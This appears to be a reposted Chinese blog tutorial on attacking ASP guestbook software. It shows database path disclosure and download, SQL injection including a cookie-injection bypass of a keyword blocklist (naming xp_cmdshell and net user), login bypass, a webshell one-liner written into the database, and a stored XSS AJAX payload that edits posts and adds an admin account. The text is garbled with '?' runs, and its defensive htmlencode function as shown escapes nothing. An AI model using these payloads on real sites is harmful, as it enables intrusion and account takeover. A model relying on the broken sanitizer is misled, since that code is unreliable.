留言本的漏洞挖掘总结
留言本的功能比較單一,一般針對普通瀏覽者只有留言的功能。而對于管理員的功能多少在于編寫著對留言本的優化。一般管理員有回復留言編輯留言刪除留言還有網站用戶修改網站基礎(類似與標題等)修改。
??常見漏洞①
Conn.asp暴庫漏洞
??測試程序:粑粑工作室留言本2.0
??漏洞代碼:
<%
dim conn,mydb,db,rs
db=dbstr&"data/#baba@yaoyao520.mdb"
AccessPath=dbstr&"data"
Set Conn = Server.CreateObject("ADODB.Connection")
mydb="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")
Conn.Open Mydb
%>
其實這個也不算上漏洞代碼,針對這個漏洞的原因大家可以看看vip腳本入侵教程的[第5課]暴庫的原理和實踐
?
直接訪問就把路徑爆出來了。'C:\Inetpub\111\留言本2.0\include\data\#baba@yaoyao520.mdb'
看到這段了吧。正常的數據庫文件在C:\Inetpub\111\留言本2.0\data\#baba@yaoyao520.mdb這里。
防范方法:
??直接在conn.asp加入容錯語句。
On error resume next常見漏洞②
數據庫下載漏洞
其實數據庫所謂數據庫下載漏洞呢,有兩種。
1.???????默認數據庫下載。
因為很多人不怎么在乎留言本安全所以很多人都用默認的數據庫。導致可以下載。
還是以上面的程序做測試。?其中#需要轉換為%23。 還有后綴如果是asp或者asa的訪問出亂碼,可以用迅雷等下載軟件進下載。2.???????利用暴庫漏洞獲取數據庫,然后進行下載。下載方法如上所述。
防范方法:
1.???????修改默認數據庫地址。
2.???????添加防下載表
??常見漏洞③
注射漏洞
這里的注射漏洞跟普通注射漏洞一樣。由于沒找到特好的實例,所以把前面的代碼改了一下。
測試程序:粑粑工作室留言本2.0
去掉了conn.asp的方注射代碼。
gshow.asp
set rs=server.CreateObject("adodb.recordset")
??????????? sql="select * from gonggao where id="&request.QueryString("id")
??????????? rs.open sql,conn,1,3
這里由于變量id沒做過濾導致代碼注射。但是這里程序conn.asp有防注入代碼。
代碼如下:
<%
?
'--------定義部份------------------
Dim XH_Post,XH_Get,XH_In,XH_Inf,XH_Xh,XH_db,XH_dbstr
'自定義需要過濾的字串,用?"|"?分隔
XH_In = "'|;|and|exec|insert|select|delete%20from|update|count|*|%|chr|mid|master|truncate|char|declare|drop%20table|from|net%20user|xp_cmdshell|/add|net%20localgroup%20administrators|Asc|char"
'----------------------------------
%>
?
<%
XH_Inf = split(XH_In,"|")
'--------POST部份------------------
If Request.Form<>"" Then
For Each XH_Post In Request.Form
?
For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.Form(XH_Post)),XH_Inf(XH_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('提交內容非法!有事加我QQ:253436577');</Script>"
Response.Write "非法操作!系統做了如下記錄↓<br>"
Response.Write "操作Ip:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作時間:"&Now&"<br>"
Response.Write "操作頁面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:post<br>"
Response.Write "提交參數:"&XH_Post&"<br>"
Response.Write "提交數據:"&Request.Form(XH_Post)
Response.Write "<Script Language=JavaScript>alert('提交內容非法!有事加我QQ:253436577');window.close();</Script>"
Response.End
End If
Next
?
Next
End If
'----------------------------------
?
'--------GET部份-------------------
If Request.QueryString<>"" Then
For Each XH_Get In Request.QueryString
?
For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.QueryString(XH_Get)),XH_Inf(XH_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('提交內容非法!有事加我QQ:253436577');</Script>"
Response.Write "非法操作!系統做了如下記錄↓<br>"
Response.Write "操作Ip:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作時間:"&Now&"<br>"
Response.Write "操作頁面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交參數:"&XH_Get&"<br>"
Response.Write "提交數據:"&Request.QueryString(XH_Get)
Response.Write "<Script Language=JavaScript>alert('提交內容非法!有事加我QQ:253436577');window.close();</Script>"
Response.End
End If
Next
Next
End If
'----------------------------------
%>
大家一定對這段代碼比較熟悉。標準的防注入程序。只要是對近來一年內的注射有了解就知道這段代碼沒做cookie過濾導致我們可以利用cookie注射了。
防范方法:
1.???????添加cookie防注入代碼
2.???????對獲取變量進行過濾。
??常見漏洞④
后臺驗證漏洞
簡單來說這個就是變形的sql注射漏洞。
??測試程序:心情故事屋留言本系統
checkpass.asp
<!--#include file="conn.asp"-->
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<%
admin=request.form("admin") '定義admin的值是表單傳過來的用戶名域名稱admin
password=request.form("password") '定義password的值是表單傳過來的用戶名域名稱password
if admin="" or password="" then '這句的意思是假如用戶名和密碼沒有輸入的話那么執行下一句
response.Write("<script language=javascript>alert('請填寫完整!');history.go(-1)</script>") '用javascript腳本提示用戶
end if '結束if語句
sql="select * from admin where admin='"&admin&"' and password='"&password&"'" '查詢admin表中的admin和password兩個字段
set rs=conn.execute(sql) '設定記錄集rs,用conn執行SQL語句
if rs.eof or rs.bof then '當沒有符合篩選結果時,則執行下面的句子
response.write "<script language=javascript>"
response.write "alert('用戶或密碼不對!');"
response.write "javascript:history.go(-1);"
response.write "</script>" '用javascript腳本提示用戶
else '如果符合條件的時候
session("admin")=admin '新建session,值等于表單傳來的用戶名
response.write"<SCRIPT language=JavaScript>alert('登陸成功');"
response.write"this.location.href='mymanage.asp';</SCRIPT>"
end if '結束if語句
%>防范方法:
???這種漏洞直接過濾“’”就行。
???但是針對注射一定要進行全面過濾。
??常見漏洞⑤
數據庫寫入漏洞
這種漏洞我在找代碼的過程中也比較費勁,有些利用比較費勁所以我改一下。讓利用比較直接。
Index.asp
Id=Request.Querystring("Id")
Books_mingzi=htmlencode(Request.form("mingzi"))
If Books_mingzi="" then Books_mingzi="匿名者" End If
Books_biaoti=htmlencode(Request.form("biaoti"))
Books_neirong=htmlencode(Request.form("neirong"))
在這里利用了htmlencode過了了,我們隨便利用某一個去掉過濾然后進行測試就可以了。
我這里去掉了neirong前面的htmlencode。
提交了<%execute request("value")%>到內容里,訪問數據庫路徑可以看到如下。直接利用藍屏一句話提交就可以了。
好了簡單的寫入講解了。
我們再看這個代碼中的相對來說不簡單的寫入。
(這里我沒做實際測試,但是記得好像06年有人專門為這個寫過文章,針對php的,所以估計asp也差不多。)
???????Set mRs= Server.CreateObject("adodb.recordSet")
?????? mRs.open "Select * from dqe_gustbook", conn, 1, 3
?????? mRs.addnew
????????????? mRs("who") = Books_mingzi
????????????? mRs("biaoti") = Books_biaoti
????????????? mRs("neirong") = Books_neirong
????????????? mRs("lanmu") = lanmu
????????????? mRs("zhiding") = 0
????????????? mRs("shijian") = now()
????????????? UserIP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
????????????? If UserIP = "" Then userip = Request.ServerVariables("REMOTE_ADDR")
????????????? mRs("ip") = UserIP
?????? mRs.update
?????? mRs.close
這里UserIP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
????????????? If UserIP = "" Then userip = Request.ServerVariables("REMOTE_ADDR")
因為"HTTP_X_FORWARDED_FOR"這個值是通過獲取HTTP頭的"X_FORWARDED_FOR"屬性取得.所以這里就提供給惡意破壞者一個辦法:可以偽造IP地址!
針對這個我只說這么多,希望大家自己繼續在研究。
還有很多過濾形式可以繞過,希望大家發揮自己的創新能力。共享自己的技巧。
??常見漏洞⑥
嵌入xss漏洞
這次是利用深度學習(asp)留言板,也就是本次黑客防線挑戰議題。
我們提交留言內容為<script>alert(“黑客防線”)</script>從后臺登陸訪問瀏覽信息就看跨站效果了。
接下來就是利用跨站來獲取我們需要做的操作了。
這次議題我讓大家修改留言貼倒數第二個留言信息。
本次議題到目前為止就一人完成,冰雪風谷[Z.S.T]。
我這里就直接利用他寫的ajax代碼來完成本次的教學。
???????function getXHR() {
????????????? var xhr = null
????????????? if (window.XMLHttpRequest) {
???????????????????? xhr = new XMLHttpRequest();
????????????? } else if (window.createRequest) {
???????????????????? xhr = window.createRequest();
????????????? } else if (window.ActiveXObject) {
???????????????????? try {
??????????????????????????? xhr = new ActiveXObject('Msxml2.XMLHTTP');
???????????????????? } catch( E ) {
??????????????????????????? try {
?????? ??????????????????????????? xhr = new ActiveXObject('Microsoft.XMLHTTP');
??????????????????????????? } catch(E) {}
???????????????????? }????
????????????? }
????????????? return xhr;
?????? }
?????? var ajax = getXHR();
?????? ajax.open('POST','/admin/guestBook/guestBook_update.asp',false);
?????? ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
?????? ajax.send("guestName=test&guestContent=bingxuefenggu&guest_ID=19");//
?????? ajax.onreadystatechange=function() {}
?????? var ajax1 = getXHR();
?????? ajax1.open('POST','/admin/adminUser/adminUser_Add.asp',false);
?????? ajax1.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
?????? ajax1.send("UserName=test&password1=test");
??????
???????這里經過兩次提交,都是以post代碼,第一個是修改帖子,第二個是添加用戶。(?風谷不老實,我本來讓只修改內容,但是他又加了個添加用戶。)防范方法:
?Function htmlencode(fString)
If not isnull(fString) then
??? fString = replace(fString, ">", ">")
??? fString = replace(fString, "<", "<")
??? fString = Replace(fString, CHR(32), "?")
??? fString = Replace(fString, CHR(9), "?")
??? fString = Replace(fString, CHR(34), """)
??? fString = Replace(fString, CHR(39), "'")
??? fString = Replace(fString, CHR(13), "")
??? fString = Replace(fString, CHR(10) & CHR(10), "</p><p> ")
??? fString = Replace(fString, CHR(10), "<br> ")
?????? htmlencode = fString
End If
End Function
??常見漏洞⑦
URL?xss漏洞
針對URL跨站我就不想講太多了,跟上面嵌入xss差不多。
大家可以看看動網多個URL?xss跨站漏洞
轉載于:https://www.cnblogs.com/milantgh/p/3617824.html
總結
以上是生活随笔為你收集整理的留言本的漏洞挖掘总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 《Cracking the Coding
- 下一篇: 从一个路口转向另一个路口需要多少步